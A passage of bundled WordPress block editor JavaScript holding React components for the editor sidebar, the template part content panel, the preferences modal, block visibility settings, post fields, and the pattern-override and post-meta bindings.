  const themeBlockNames = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return blockTypes.filter(blockType => {
      return blockType.category === 'theme';
    }).map(({
      name
    }) => name);
  }, [blockTypes]);
  const themeBlocks = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getBlocksByName
    } = select(external_wp_blockEditor_namespaceObject.store);
    return getBlocksByName(themeBlockNames);
  }, [themeBlockNames]);
  if (themeBlocks.length === 0) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, {
    title: (0,external_wp_i18n_namespaceObject.__)('Content'),
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(template_part_content_panel_BlockQuickNavigation, {
      clientIds: themeBlocks
    })
  });
}
function TemplatePartContentPanel() {
  const postType = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostType
    } = select(store_store);
    return getCurrentPostType();
  }, []);
  if (postType !== TEMPLATE_PART_POST_TYPE) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplatePartContentPanelInner, {});
}

;// ./node_modules/@wordpress/editor/build-module/components/provider/use-auto-switch-editor-sidebars.js
/**
 * WordPress dependencies
 */






/**
 * This listener hook monitors for block selection and triggers the appropriate
 * sidebar state.
 */
function useAutoSwitchEditorSidebars() {
  const {
    hasBlockSelection
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return {
      hasBlockSelection: !!select(external_wp_blockEditor_namespaceObject.store).getBlockSelectionStart()
    };
  }, []);
  const {
    getActiveComplementaryArea
  } = (0,external_wp_data_namespaceObject.useSelect)(store);
  const {
    enableComplementaryArea
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const {
    get: getPreference
  } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_preferences_namespaceObject.store);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    const activeGeneralSidebar = getActiveComplementaryArea('core');
    const isEditorSidebarOpened = ['edit-post/document', 'edit-post/block'].includes(activeGeneralSidebar);
    const isDistractionFree = getPreference('core', 'distractionFree');
    if (!isEditorSidebarOpened || isDistractionFree) {
      return;
    }
    if (hasBlockSelection) {
      enableComplementaryArea('core', 'edit-post/block');
    } else {
      enableComplementaryArea('core', 'edit-post/document');
    }
  }, [hasBlockSelection, getActiveComplementaryArea, enableComplementaryArea, getPreference]);
}
/* harmony default export */ const use_auto_switch_editor_sidebars = (useAutoSwitchEditorSidebars);

;// ./node_modules/@wordpress/editor/build-module/components/sidebar/index.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */















const {
  Tabs: sidebar_Tabs
} = unlock(external_wp_components_namespaceObject.privateApis);
const SIDEBAR_ACTIVE_BY_DEFAULT = external_wp_element_namespaceObject.Platform.select({
  web: true,
  native: false
});
const SidebarContent = ({
  tabName,
  keyboardShortcut,
  onActionPerformed,
  extraPanels
}) => {
  const tabListRef = (0,external_wp_element_namespaceObject.useRef)(null);
  // Because `PluginSidebar` renders a `ComplementaryArea`, we
  // need to forward the `Tabs` context so it can be passed through the
  // underlying slot/fill.
  const tabsContextValue = (0,external_wp_element_namespaceObject.useContext)(sidebar_Tabs.Context);

  // This effect addresses a race condition caused by tabbing from the last
  // block in the editor into the settings sidebar. Without this effect, the
  // selected tab and browser focus can become separated in an unexpected way
  // (e.g the "block" tab is focused, but the "post" tab is selected).
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    const tabsElements = Array.from(tabListRef.current?.querySelectorAll('[role="tab"]') || []);
    const selectedTabElement = tabsElements.find(
    // We are purposefully using a custom `data-tab-id` attribute here
    // because we don't want rely on any assumptions about `Tabs`
    // component internals.
    element => element.getAttribute('data-tab-id') === tabName);
    const activeElement = selectedTabElement?.ownerDocument.activeElement;
    const tabsHasFocus = tabsElements.some(element => {
      return activeElement && activeElement.id === element.id;
    });
    if (tabsHasFocus && selectedTabElement && selectedTabElement.id !== activeElement?.id) {
      selectedTabElement?.focus();
    }
  }, [tabName]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PluginSidebar, {
    identifier: tabName,
    header: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(sidebar_Tabs.Context.Provider, {
      value: tabsContextValue,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(sidebar_header, {
        ref: tabListRef
      })
    }),
    closeLabel: (0,external_wp_i18n_namespaceObject.__)('Close Settings')
    // This classname is added so we can apply a corrective negative
    // margin to the panel.
    // see https://github.com/WordPress/gutenberg/pull/55360#pullrequestreview-1737671049
    ,
    className: "editor-sidebar__panel",
    headerClassName: "editor-sidebar__panel-tabs",
    title: /* translators: button label text should, if possible, be under 16 characters. */
    (0,external_wp_i18n_namespaceObject._x)('Settings', 'panel button label'),
    toggleShortcut: keyboardShortcut,
    icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? drawer_left : drawer_right,
    isActiveByDefault: SIDEBAR_ACTIVE_BY_DEFAULT,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(sidebar_Tabs.Context.Provider, {
      value: tabsContextValue,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(sidebar_Tabs.TabPanel, {
        tabId: sidebars.document,
        focusable: false,
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostSummary, {
          onActionPerformed: onActionPerformed
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_document_setting_panel.Slot, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplateContentPanel, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplatePartContentPanel, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostTransformPanel, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(panel_PostTaxonomies, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternOverridesPanel, {}), extraPanels]
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(sidebar_Tabs.TabPanel, {
        tabId: sidebars.block,
        focusable: false,
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockInspector, {})
      })]
    })
  });
};
const Sidebar = ({
  extraPanels,
  onActionPerformed
}) => {
  use_auto_switch_editor_sidebars();
  const {
    tabName,
    keyboardShortcut,
    showSummary
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const shortcut = select(external_wp_keyboardShortcuts_namespaceObject.store).getShortcutRepresentation('core/editor/toggle-sidebar');
    const sidebar = select(store).getActiveComplementaryArea('core');
    const _isEditorSidebarOpened = [sidebars.block, sidebars.document].includes(sidebar);
    let _tabName = sidebar;
    if (!_isEditorSidebarOpened) {
      _tabName = !!select(external_wp_blockEditor_namespaceObject.store).getBlockSelectionStart() ? sidebars.block : sidebars.document;
    }
    return {
      tabName: _tabName,
      keyboardShortcut: shortcut,
      showSummary: ![TEMPLATE_POST_TYPE, TEMPLATE_PART_POST_TYPE, NAVIGATION_POST_TYPE].includes(select(store_store).getCurrentPostType())
    };
  }, []);
  const {
    enableComplementaryArea
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const onTabSelect = (0,external_wp_element_namespaceObject.useCallback)(newSelectedTabId => {
    if (!!newSelectedTabId) {
      enableComplementaryArea('core', newSelectedTabId);
    }
  }, [enableComplementaryArea]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(sidebar_Tabs, {
    selectedTabId: tabName,
    onSelect: onTabSelect,
    selectOnMove: false,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarContent, {
      tabName: tabName,
      keyboardShortcut: keyboardShortcut,
      showSummary: showSummary,
      onActionPerformed: onActionPerformed,
      extraPanels: extraPanels
    })
  });
};
/* harmony default export */ const components_sidebar = (Sidebar);

;// ./node_modules/@wordpress/editor/build-module/components/editor/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */





function Editor({
  postType,
  postId,
  templateId,
  settings,
  children,
  initialEdits,
  // This could be part of the settings.
  onActionPerformed,
  // The following abstractions are not ideal but necessary
  // to account for site editor and post editor differences for now.
  extraContent,
  extraSidebarPanels,
  ...props
}) {
  const {
    post,
    template,
    hasLoadedPost,
    error
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecord,
      getResolutionError,
      hasFinishedResolution
    } = select(external_wp_coreData_namespaceObject.store);
    const postArgs = ['postType', postType, postId];
    return {
      post: getEntityRecord(...postArgs),
      template: templateId ? getEntityRecord('postType', TEMPLATE_POST_TYPE, templateId) : undefined,
      hasLoadedPost: hasFinishedResolution('getEntityRecord', postArgs),
      error: getResolutionError('getEntityRecord', postArgs)?.message
    };
  }, [postType, postId, templateId]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [hasLoadedPost && !post && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, {
      status: !!error ? 'error' : 'warning',
      isDismissible: false,
      children: !error ? (0,external_wp_i18n_namespaceObject.__)("You attempted to edit an item that doesn't exist. Perhaps it was deleted?") : error
    }), !!post && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(ExperimentalEditorProvider, {
      post: post,
      __unstableTemplate: template,
      settings: settings,
      initialEdits: initialEdits,
      useSubRegistry: false,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditorInterface, {
        ...props,
        children: extraContent
      }), children, /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(components_sidebar, {
        onActionPerformed: onActionPerformed,
        extraPanels: extraSidebarPanels
      })]
    })]
  });
}
/* harmony default export */ const editor = (Editor);

;// ./node_modules/@wordpress/editor/build-module/components/preferences-modal/enable-publish-sidebar.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



const {
  PreferenceBaseOption: enable_publish_sidebar_PreferenceBaseOption
} = unlock(external_wp_preferences_namespaceObject.privateApis);
function EnablePublishSidebarOption(props) {
  const isChecked = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return select(store_store).isPublishSidebarEnabled();
  }, []);
  const {
    enablePublishSidebar,
    disablePublishSidebar
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(enable_publish_sidebar_PreferenceBaseOption, {
    isChecked: isChecked,
    onChange: isEnabled => isEnabled ? enablePublishSidebar() : disablePublishSidebar(),
    ...props
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/preferences-modal/block-visibility.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */



const {
  BlockManager
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const block_visibility_EMPTY_ARRAY = [];
function BlockVisibility() {
  const {
    showBlockTypes,
    hideBlockTypes
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store_store));
  const {
    blockTypes,
    allowedBlockTypes: _allowedBlockTypes,
    hiddenBlockTypes: _hiddenBlockTypes
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _select$get;
    return {
      blockTypes: select(external_wp_blocks_namespaceObject.store).getBlockTypes(),
      allowedBlockTypes: select(store_store).getEditorSettings().allowedBlockTypes,
      hiddenBlockTypes: (_select$get = select(external_wp_preferences_namespaceObject.store).get('core', 'hiddenBlockTypes')) !== null && _select$get !== void 0 ? _select$get : block_visibility_EMPTY_ARRAY
    };
  }, []);
  const allowedBlockTypes = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (_allowedBlockTypes === true) {
      return blockTypes;
    }
    return blockTypes.filter(({
      name
    }) => {
      return _allowedBlockTypes?.includes(name);
    });
  }, [_allowedBlockTypes, blockTypes]);
  const filteredBlockTypes = allowedBlockTypes.filter(blockType => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockType, 'inserter', true) && (!blockType.parent || blockType.parent.includes('core/post-content')));

  // Some hidden blocks become unregistered
  // by removing for instance the plugin that registered them, yet
  // they're still remain as hidden by the user's action.
  // We consider "hidden", blocks which were hidden and
  // are still registered.
  const hiddenBlockTypes = _hiddenBlockTypes.filter(hiddenBlock => {
    return filteredBlockTypes.some(registeredBlock => registeredBlock.name === hiddenBlock);
  });
  const selectedBlockTypes = filteredBlockTypes.filter(blockType => !hiddenBlockTypes.includes(blockType.name));
  const onChangeSelectedBlockTypes = newSelectedBlockTypes => {
    if (selectedBlockTypes.length > newSelectedBlockTypes.length) {
      const blockTypesToHide = selectedBlockTypes.filter(blockType => !newSelectedBlockTypes.find(({
        name
      }) => name === blockType.name));
      hideBlockTypes(blockTypesToHide.map(({
        name
      }) => name));
    } else if (selectedBlockTypes.length < newSelectedBlockTypes.length) {
      const blockTypesToShow = newSelectedBlockTypes.filter(blockType => !selectedBlockTypes.find(({
        name
      }) => name === blockType.name));
      showBlockTypes(blockTypesToShow.map(({
        name
      }) => name));
    }
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockManager, {
    blockTypes: filteredBlockTypes,
    selectedBlockTypes: selectedBlockTypes,
    onChange: onChangeSelectedBlockTypes
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/preferences-modal/index.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */












const {
  PreferencesModal,
  PreferencesModalTabs,
  PreferencesModalSection,
  PreferenceToggleControl
} = unlock(external_wp_preferences_namespaceObject.privateApis);
function EditorPreferencesModal({
  extraSections = {}
}) {
  const isActive = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return select(store).isModalActive('editor/preferences');
  }, []);
  const {
    closeModal
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  if (!isActive) {
    return null;
  }

  // Please wrap all contents inside PreferencesModalContents to prevent all
  // hooks from executing when the modal is not open.
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferencesModal, {
    closeModal: closeModal,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferencesModalContents, {
      extraSections: extraSections
    })
  });
}
function PreferencesModalContents({
  extraSections = {}
}) {
  const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium');
  const showBlockBreadcrumbsOption = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditorSettings
    } = select(store_store);
    const {
      get
    } = select(external_wp_preferences_namespaceObject.store);
    const isRichEditingEnabled = getEditorSettings().richEditingEnabled;
    const isDistractionFreeEnabled = get('core', 'distractionFree');
    return !isDistractionFreeEnabled && isLargeViewport && isRichEditingEnabled;
  }, [isLargeViewport]);
  const {
    setIsListViewOpened,
    setIsInserterOpened
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    set: setPreference
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
  const sections = (0,external_wp_element_namespaceObject.useMemo)(() => [{
    name: 'general',
    tabLabel: (0,external_wp_i18n_namespaceObject.__)('General'),
    content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(PreferencesModalSection, {
        title: (0,external_wp_i18n_namespaceObject.__)('Interface'),
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferenceToggleControl, {
          scope: "core",
          featureName: "showListViewByDefault",
          help: (0,external_wp_i18n_namespaceObject.__)('Opens the List View panel by default.'),
          label: (0,external_wp_i18n_namespaceObject.__)('Always open List View')
        }), showBlockBreadcrumbsOption && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferenceToggleControl, {
          scope: "core",
          featureName: "showBlockBreadcrumbs",
          help: (0,external_wp_i18n_namespaceObject.__)('Display the block hierarchy trail at the bottom of the editor.'),
          label: (0,external_wp_i18n_namespaceObject.__)('Show block breadcrumbs')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferenceToggleControl, {
          scope: "core",
          featureName: "allowRightClickOverrides",
          help: (0,external_wp_i18n_namespaceObject.__)('Allows contextual List View menus via right-click, overriding browser defaults.'),
          label: (0,external_wp_i18n_namespaceObject.__)('Allow right-click contextual menus')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferenceToggleControl, {
          scope: "core",
          featureName: "enableChoosePatternModal",
          help: (0,external_wp_i18n_namespaceObject.__)('Shows starter patterns when creating a new page.'),
          label: (0,external_wp_i18n_namespaceObject.__)('Show starter patterns')
        })]
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(PreferencesModalSection, {
        title: (0,external_wp_i18n_namespaceObject.__)('Document settings'),
        description: (0,external_wp_i18n_namespaceObject.__)('Select what settings are shown in the document panel.'),
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(enable_plugin_document_setting_panel.Slot, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_taxonomies, {
          taxonomyWrapper: (content, taxonomy) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EnablePanelOption, {
            label: taxonomy.labels.menu_name,
            panelName: `taxonomy-panel-${taxonomy.slug}`
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_featured_image_check, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EnablePanelOption, {
            label: (0,external_wp_i18n_namespaceObject.__)('Featured image'),
            panelName: "featured-image"
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_excerpt_check, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EnablePanelOption, {
            label: (0,external_wp_i18n_namespaceObject.__)('Excerpt'),
            panelName: "post-excerpt"
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check, {
          supportKeys: ['comments', 'trackbacks'],
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EnablePanelOption, {
            label: (0,external_wp_i18n_namespaceObject.__)('Discussion'),
            panelName: "discussion-panel"
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(page_attributes_check, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EnablePanelOption, {
            label: (0,external_wp_i18n_namespaceObject.__)('Page attributes'),
            panelName: "page-attributes"
          })
        })]
      }), isLargeViewport && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferencesModalSection, {
        title: (0,external_wp_i18n_namespaceObject.__)('Publishing'),
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EnablePublishSidebarOption, {
          help: (0,external_wp_i18n_namespaceObject.__)('Review settings, such as visibility and tags.'),
          label: (0,external_wp_i18n_namespaceObject.__)('Enable pre-publish checks')
        })
      }), extraSections?.general]
    })
  }, {
    name: 'appearance',
    tabLabel: (0,external_wp_i18n_namespaceObject.__)('Appearance'),
    content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(PreferencesModalSection, {
      title: (0,external_wp_i18n_namespaceObject.__)('Appearance'),
      description: (0,external_wp_i18n_namespaceObject.__)('Customize the editor interface to suit your needs.'),
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferenceToggleControl, {
        scope: "core",
        featureName: "fixedToolbar",
        onToggle: () => setPreference('core', 'distractionFree', false),
        help: (0,external_wp_i18n_namespaceObject.__)('Access all block and document tools in a single place.'),
        label: (0,external_wp_i18n_namespaceObject.__)('Top toolbar')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferenceToggleControl, {
        scope: "core",
        featureName: "distractionFree",
        onToggle: () => {
          setPreference('core', 'fixedToolbar', true);
          setIsInserterOpened(false);
          setIsListViewOpened(false);
        },
        help: (0,external_wp_i18n_namespaceObject.__)('Reduce visual distractions by hiding the toolbar and other elements to focus on writing.'),
        label: (0,external_wp_i18n_namespaceObject.__)('Distraction free')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferenceToggleControl, {
        scope: "core",
        featureName: "focusMode",
        help: (0,external_wp_i18n_namespaceObject.__)('Highlights the current block and fades other content.'),
        label: (0,external_wp_i18n_namespaceObject.__)('Spotlight mode')
      }), extraSections?.appearance]
    })
  }, {
    name: 'accessibility',
    tabLabel: (0,external_wp_i18n_namespaceObject.__)('Accessibility'),
    content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferencesModalSection, {
        title: (0,external_wp_i18n_namespaceObject.__)('Navigation'),
        description: (0,external_wp_i18n_namespaceObject.__)('Optimize the editing experience for enhanced control.'),
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferenceToggleControl, {
          scope: "core",
          featureName: "keepCaretInsideBlock",
          help: (0,external_wp_i18n_namespaceObject.__)('Keeps the text cursor within blocks while navigating with arrow keys, preventing it from moving to other blocks and enhancing accessibility for keyboard users.'),
          label: (0,external_wp_i18n_namespaceObject.__)('Contain text cursor inside block')
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferencesModalSection, {
        title: (0,external_wp_i18n_namespaceObject.__)('Interface'),
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferenceToggleControl, {
          scope: "core",
          featureName: "showIconLabels",
          label: (0,external_wp_i18n_namespaceObject.__)('Show button text labels'),
          help: (0,external_wp_i18n_namespaceObject.__)('Show text instead of icons on buttons across the interface.')
        })
      })]
    })
  }, {
    name: 'blocks',
    tabLabel: (0,external_wp_i18n_namespaceObject.__)('Blocks'),
    content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferencesModalSection, {
        title: (0,external_wp_i18n_namespaceObject.__)('Inserter'),
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferenceToggleControl, {
          scope: "core",
          featureName: "mostUsedBlocks",
          help: (0,external_wp_i18n_namespaceObject.__)('Adds a category with the most frequently used blocks in the inserter.'),
          label: (0,external_wp_i18n_namespaceObject.__)('Show most used blocks')
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferencesModalSection, {
        title: (0,external_wp_i18n_namespaceObject.__)('Manage block visibility'),
        description: (0,external_wp_i18n_namespaceObject.__)("Disable blocks that you don't want to appear in the inserter. They can always be toggled back on later."),
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockVisibility, {})
      })]
    })
  }, window.__experimentalMediaProcessing && {
    name: 'media',
    tabLabel: (0,external_wp_i18n_namespaceObject.__)('Media'),
    content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(PreferencesModalSection, {
        title: (0,external_wp_i18n_namespaceObject.__)('General'),
        description: (0,external_wp_i18n_namespaceObject.__)('Customize options related to the media upload flow.'),
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferenceToggleControl, {
          scope: "core/media",
          featureName: "optimizeOnUpload",
          help: (0,external_wp_i18n_namespaceObject.__)('Compress media items before uploading to the server.'),
          label: (0,external_wp_i18n_namespaceObject.__)('Pre-upload compression')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferenceToggleControl, {
          scope: "core/media",
          featureName: "requireApproval",
          help: (0,external_wp_i18n_namespaceObject.__)('Require approval step when optimizing existing media.'),
          label: (0,external_wp_i18n_namespaceObject.__)('Approval step')
        })]
      })
    })
  }].filter(Boolean), [showBlockBreadcrumbsOption, extraSections, setIsInserterOpened, setIsListViewOpened, setPreference, isLargeViewport]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferencesModalTabs, {
    sections: sections
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-fields/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


function usePostFields({
  postType
}) {
  const {
    registerPostTypeSchema
  } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store_store));
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    registerPostTypeSchema(postType);
  }, [registerPostTypeSchema, postType]);
  const {
    defaultFields
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityFields
    } = unlock(select(store_store));
    return {
      defaultFields: getEntityFields('postType', postType)
    };
  }, [postType]);
  const {
    records: authors,
    isResolving: isLoadingAuthors
  } = (0,external_wp_coreData_namespaceObject.useEntityRecords)('root', 'user', {
    per_page: -1
  });
  const fields = (0,external_wp_element_namespaceObject.useMemo)(() => defaultFields.map(field => {
    if (field.id === 'author') {
      return {
        ...field,
        elements: authors?.map(({
          id,
          name
        }) => ({
          value: id,
          label: name
        }))
      };
    }
    return field;
  }), [authors, defaultFields]);
  return {
    isLoading: isLoadingAuthors,
    fields
  };
}

/**
 * Hook to get the fields for a post (BasePost or BasePostWithEmbeddedAuthor).
 */
/* harmony default export */ const post_fields = (usePostFields);

;// ./node_modules/@wordpress/editor/build-module/bindings/pattern-overrides.js
/**
 * WordPress dependencies
 */

const CONTENT = 'content';
/* harmony default export */ const pattern_overrides = ({
  name: 'core/pattern-overrides',
  getValues({
    select,
    clientId,
    context,
    bindings
  }) {
    const patternOverridesContent = context['pattern/overrides'];
    const {
      getBlockAttributes
    } = select(external_wp_blockEditor_namespaceObject.store);
    const currentBlockAttributes = getBlockAttributes(clientId);
    const overridesValues = {};
    for (const attributeName of Object.keys(bindings)) {
      const overridableValue = patternOverridesContent?.[currentBlockAttributes?.metadata?.name]?.[attributeName];

      // If it has not been overridden, return the original value.
      // Check undefined because empty string is a valid value.
      if (overridableValue === undefined) {
        overridesValues[attributeName] = currentBlockAttributes[attributeName];
        continue;
      } else {
        overridesValues[attributeName] = overridableValue === '' ? undefined : overridableValue;
      }
    }
    return overridesValues;
  },
  setValues({
    select,
    dispatch,
    clientId,
    bindings
  }) {
    const {
      getBlockAttributes,
      getBlockParentsByBlockName,
      getBlocks
    } = select(external_wp_blockEditor_namespaceObject.store);
    const currentBlockAttributes = getBlockAttributes(clientId);
    const blockName = currentBlockAttributes?.metadata?.name;
    if (!blockName) {
      return;
    }
    const [patternClientId] = getBlockParentsByBlockName(clientId, 'core/block', true);

    // Extract the updated attributes from the source bindings.
    const attributes = Object.entries(bindings).reduce((attrs, [key, {
      newValue
    }]) => {
      attrs[key] = newValue;
      return attrs;
    }, {});

    // If there is no pattern client ID, sync blocks with the same name and same attributes.
    if (!patternClientId) {
      const syncBlocksWithSameName = blocks => {
        for (const block of blocks) {
          if (block.attributes?.metadata?.name === blockName) {
            dispatch(external_wp_blockEditor_namespaceObject.store).updateBlockAttributes(block.clientId, attributes);
          }
          syncBlocksWithSameName(block.innerBlocks);
        }
      };
      syncBlocksWithSameName(getBlocks());
      return;
    }
    const currentBindingValue = getBlockAttributes(patternClientId)?.[CONTENT];
    dispatch(external_wp_blockEditor_namespaceObject.store).updateBlockAttributes(patternClientId, {
      [CONTENT]: {
        ...currentBindingValue,
        [blockName]: {
          ...currentBindingValue?.[blockName],
          ...Object.entries(attributes).reduce((acc, [key, value]) => {
            // TODO: We need a way to represent `undefined` in the serialized overrides.
            // Also see: https://github.com/WordPress/gutenberg/pull/57249#discussion_r1452987871
            // We use an empty string to represent undefined for now until
            // we support a richer format for overrides and the block bindings API.
            acc[key] = value === undefined ? '' : value;
            return acc;
          }, {})
        }
      }
    });
  },
  canUserEditValue: () => true
});

;// ./node_modules/@wordpress/editor/build-module/bindings/post-meta.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



/**
 * Gets a list of post meta fields with their values and labels
 * to be consumed in the needed callbacks.
 * If the value is not available based on context, like in templates,
 * it falls back to the default value, label, or key.
 *
 * @param {Object} select  The select function from the data store.
 * @param {Object} context The context provided.
 * @return {Object} List of post meta fields with their value and label.
 *
 * @example
 * ```js
 * {
 *     field_1_key: {
 *         label: 'Field 1 Label',
 *         value: 'Field 1 Value',
 *     },
 *     field_2_key: {
 *         label: 'Field 2 Label',
 *         value: 'Field 2 Value',
 *     },
 *     ...
 * }
 * ```
 */
function getPostMetaFields(select, context) {
  const {
    getEditedEntityRecord
  } = select(external_wp_coreData_namespaceObject.store);
  const {
    getRegisteredPostMeta
  } = unlock(select(external_wp_coreData_namespaceObject.store));
  let entityMetaValues;
  // Try to get the current entity meta values.
  if (context?.postType && context?.postId) {
    entityMetaValues = getEditedEntityRecord('postType', context?.postType, context?.postId).meta;
  }
  const registeredFields = getRegisteredPostMeta(context?.postType);
  const metaFields = {};
